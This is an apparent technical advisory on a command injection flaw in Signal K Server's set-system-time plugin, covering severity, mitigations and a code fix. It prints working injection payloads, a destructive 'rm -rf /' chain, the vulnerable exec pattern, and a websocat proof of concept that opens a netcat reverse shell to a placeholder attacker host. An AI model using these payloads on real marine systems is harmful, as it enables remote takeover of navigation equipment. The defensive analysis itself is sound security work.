Comprehensive Technical Analysis of CVE-2026-23515 (Signal K Server Command Injection Vulnerability)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2026-23515 CVSS Score: 9.9 (Critical) – [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H] Vulnerability Type: Command Injection (CWE-78: Improper Neutralization of Special Elements used in an OS Command) Affected Component: Signal K Server (set-system-time plugin)

Severity Breakdown:

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low – No specialized conditions required.
• Privileges Required (PR:L): Low – Requires authenticated access (or none if security is disabled).
• User Interaction (UI:N): None – Exploitation does not require user interaction.
• Scope (S:C): Changed – Impact extends beyond the vulnerable component (arbitrary command execution on the host system).
• Confidentiality (C:H), Integrity (I:H), Availability (A:H): High impact across all three security objectives.

Justification for Critical Severity:

• Unauthenticated Exploitation Possible: If security is disabled, attackers can exploit this without credentials.
• Remote Code Execution (RCE): Allows arbitrary shell command execution with the privileges of the Signal K server process.
• High Impact on Maritime Systems: Signal K is widely used in marine navigation, making this a high-risk vulnerability for operational technology (OT) environments.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Prerequisites:

1. Authenticated Exploitation:

   • Attacker must have write permissions to the Signal K server (e.g., via a compromised user account or stolen credentials).
   • The set-system-time plugin must be enabled (default in some configurations).

2. Unauthenticated Exploitation:

   • Signal K server security is disabled (e.g., security.json misconfigured or absent).
   • Attacker can send malicious WebSocket delta messages without authentication.

Exploitation Steps:

1. Reconnaissance:

   • Attacker identifies a vulnerable Signal K server (e.g., via Shodan, Censys, or manual probing).
   • Checks if the set-system-time plugin is enabled (e.g., via /plugins endpoint).

2. Crafting Malicious Payload:

   • The vulnerability arises from unsafe shell command construction when processing navigation.datetime values in WebSocket delta messages.
   • Example malicious payload (injected command via datetime field):

     {
       "updates": [
         {
           "values": [
             {
               "path": "navigation.datetime",
               "value": "$(id > /tmp/pwned)"  // Command injection via subshell
             }
           ]
         }
       ]
     }
     

   • Alternatively, an attacker could use backticks or semicolons to chain commands:

     "value": "`id`"  // Executes 'id' and returns output
     "value": "2026-01-01T00:00:00; rm -rf /"  // Chains destructive commands
     

3. Delivery Mechanism:

   • WebSocket Delta Message: Attacker sends the malicious payload via a WebSocket connection to the Signal K server.
   • REST API (if applicable): Some Signal K implementations may also accept similar payloads via HTTP.

4. Command Execution:

   • The set-system-time plugin processes the navigation.datetime value and passes it unsanitized to a shell command (e.g., date -s).
   • The injected command executes with the privileges of the Signal K server process (often root or a high-privilege user in marine environments).

5. Post-Exploitation:

   • Lateral Movement: Attacker may escalate privileges, pivot to other systems, or exfiltrate data.
   • Persistence: Install backdoors, modify configurations, or disrupt navigation systems.
   • Impact on Maritime Operations: Tampering with system time can disrupt GPS synchronization, AIS (Automatic Identification System), or other critical navigation functions.

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3. Affected Systems and Software Versions

• Product: Signal K Server (Open-source marine data server)
• Vulnerable Versions: All versions prior to 1.5.0
• Fixed Version: 1.5.0 (released with patch for CVE-2026-23515)
• Affected Plugin: set-system-time (enabled by default in some configurations)

Deployment Context:

• Maritime Environments: Signal K is commonly used in yachts, commercial vessels, and naval systems for integrating sensor data (GPS, AIS, engine telemetry).
• IoT/OT Integration: Often deployed alongside NMEA 2000, CAN bus, and other industrial protocols.
• Cloud/On-Premise: Can be hosted on Raspberry Pi, embedded Linux, or cloud-based marine dashboards.

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Upgrade to Signal K Server 1.5.0 or Later:

   • Apply the patch from GitHub Advisory GHSA-p8gp-2w8m-mhwg.
   • Verify the fix by checking the commit: 75b11eae2de528bf89ede3fb1f7ed057ddbb4d24.

2. Disable the set-system-time Plugin (if not required):

   • Edit settings.json to disable the plugin:

     "plugins": {
       "set-system-time": {
         "enabled": false
       }
     }
     

3. Enable Security (if disabled):

   • Ensure security.json is properly configured to enforce authentication.
   • Example minimal security configuration:

     {
       "security": {
         "strategy": "default",
         "allowReadonly": false,
         "allowAnonymousWrite": false
       }
     }
     

4. Network-Level Protections:

   • Firewall Rules: Restrict access to Signal K WebSocket (default port: 3000) to trusted IPs.
   • VPN/Zero Trust: Enforce VPN or Zero Trust Network Access (ZTNA) for remote access.
   • Intrusion Detection/Prevention (IDS/IPS): Monitor for WebSocket-based attacks (e.g., Suricata/Snort rules for command injection patterns).

5. Least Privilege Principle:

   • Run Signal K server as a non-root user (e.g., signalk user with restricted permissions).
   • Use Linux capabilities to limit system calls (e.g., CAP_SYS_TIME only if necessary).

Long-Term Hardening:

1. Input Validation & Sanitization:

   • Implement strict regex-based validation for navigation.datetime values (e.g., ISO 8601 format only).
   • Use parameterized shell commands (e.g., child_process.spawn with explicit arguments in Node.js).

2. Runtime Application Self-Protection (RASP):

   • Deploy RASP solutions (e.g., OpenRASP, Sqreen) to detect and block command injection attempts.

3. Regular Security Audits:

   • Conduct penetration testing (e.g., OWASP ZAP, Burp Suite) to identify similar vulnerabilities.
   • Perform static/dynamic code analysis (e.g., SonarQube, Semgrep) on Signal K plugins.

4. Maritime-Specific Protections:

   • Isolate Navigation Systems: Use air-gapped networks or VLAN segmentation for critical OT systems.
   • Monitor for Anomalies: Deploy SIEM solutions (e.g., Splunk, ELK) to detect unusual WebSocket traffic.

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5. Impact on the Cybersecurity Landscape

Broader Implications:

1. Maritime Cybersecurity Risks:

   • Supply Chain Attacks: Signal K is integrated with NMEA 2000, CAN bus, and AIS systems, making it a potential vector for OT compromise.
   • Physical Safety Risks: Tampering with navigation data could lead to collisions, grounding, or loss of vessel control.
   • Regulatory Compliance: Violations of IMO (International Maritime Organization) cybersecurity guidelines (e.g., IMO 2021, MSC.428(98)).

2. IoT/OT Security Trends:

   • Increased Targeting of Niche OT Systems: Attackers are expanding beyond traditional IT to marine, aviation, and industrial IoT.
   • Exploit Chaining: This vulnerability could be combined with GPS spoofing or AIS manipulation for advanced attacks.

3. Open-Source Software Risks:

   • Lack of Security Reviews: Many open-source maritime projects (like Signal K) have limited security resources, leading to critical vulnerabilities.
   • Dependency Risks: Signal K relies on Node.js and third-party plugins, which may introduce additional attack surfaces.

Lessons Learned:

• Secure Coding Practices: Developers must avoid shell command concatenation and use safe APIs (e.g., child_process.spawn with shell: false).
• Default Security Configurations: Software should enable security by default (e.g., authentication required, plugins disabled unless explicitly enabled).
• Vendor Responsibility: Open-source maintainers must prioritize security updates and provide clear patching guidance.

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6. Technical Details for Security Professionals

Root Cause Analysis:

• Vulnerable Code Path:

  • The set-system-time plugin processes navigation.datetime values from WebSocket delta messages.
  • The value is directly interpolated into a shell command (e.g., date -s "$datetime") without sanitization.
  • Example vulnerable code (simplified):

    const { exec } = require('child_process');
    const datetime = req.body.updates[0].values[0].value; // Untrusted input
    exec(`date -s "${datetime}"`, (error, stdout, stderr) => { ... });
    

• Exploitation Bypass Techniques:

  • Subshell Injection: $(command) or `command`
  • Command Chaining: ;, &&, ||
  • Newline Injection: \n to split commands
  • Wildcard Abuse: * for file system traversal

Proof-of-Concept (PoC) Exploitation:

1. Unauthenticated Exploit (if security disabled):

   websocat ws://<target-ip>:3000/signalk/v1/stream -t '{
     "updates": [{
       "values": [{
         "path": "navigation.datetime",
         "value": "$(id > /tmp/exploit_success)"
       }]
     }]
   }'
   

   • Verification: cat /tmp/exploit_success (should show uid=0(root) if successful).

2. Authenticated Exploit (with write permissions):

   • Obtain a valid Signal K token (e.g., via /signalk/v1/auth/login).
   • Send the malicious WebSocket message with the token:

     websocat ws://<target-ip>:3000/signalk/v1/stream?token=<valid-token> -t '{
       "updates": [{
         "values": [{
           "path": "navigation.datetime",
           "value": "$(nc -e /bin/sh <attacker-ip> 4444)"
         }]
       }]
     }'
     

   • Attacker receives a reverse shell on port 4444.

Detection & Forensics:

• Log Analysis:

  • Check Signal K logs (/var/log/signalk.log) for unusual navigation.datetime values (e.g., containing ;, $, `).
  • Look for unexpected date command executions in system logs (/var/log/auth.log, /var/log/syslog).

• Network Traffic Analysis:

  • Monitor WebSocket traffic for malformed navigation.datetime payloads.
  • Use Wireshark filters:

    websocket.payload contains "navigation.datetime" and (websocket.payload contains "$(" or websocket.payload contains "`")
    

• Endpoint Detection:

  • File Integrity Monitoring (FIM): Detect unexpected file modifications (e.g., /tmp/pwned).
  • Process Monitoring: Alert on unusual child processes spawned by signalk-server (e.g., sh, bash, nc).

Mitigation Code Example (Node.js Fix):

The patch replaces exec with spawn and disables shell interpretation:

const { spawn } = require('child_process');
const datetime = req.body.updates[0].values[0].value;

// Validate datetime format (ISO 8601)
if (!/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/.test(datetime)) {
  throw new Error("Invalid datetime format");
}

// Safe execution (no shell interpretation)
const dateProcess = spawn('date', ['-s', datetime], { shell: false });

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Conclusion

CVE-2026-23515 represents a critical command injection vulnerability in Signal K Server, with severe implications for maritime cybersecurity. The flaw allows remote code execution (RCE) with minimal prerequisites, making it a high-priority patch for affected systems. Security teams should immediately upgrade to Signal K 1.5.0, enforce least privilege, and implement network-level protections to mitigate exploitation risks.

Given the growing convergence of IT and OT in maritime environments, this vulnerability underscores the need for proactive security measures in niche but critical systems. Organizations should conduct thorough security assessments of all marine navigation software to prevent similar vulnerabilities in the future.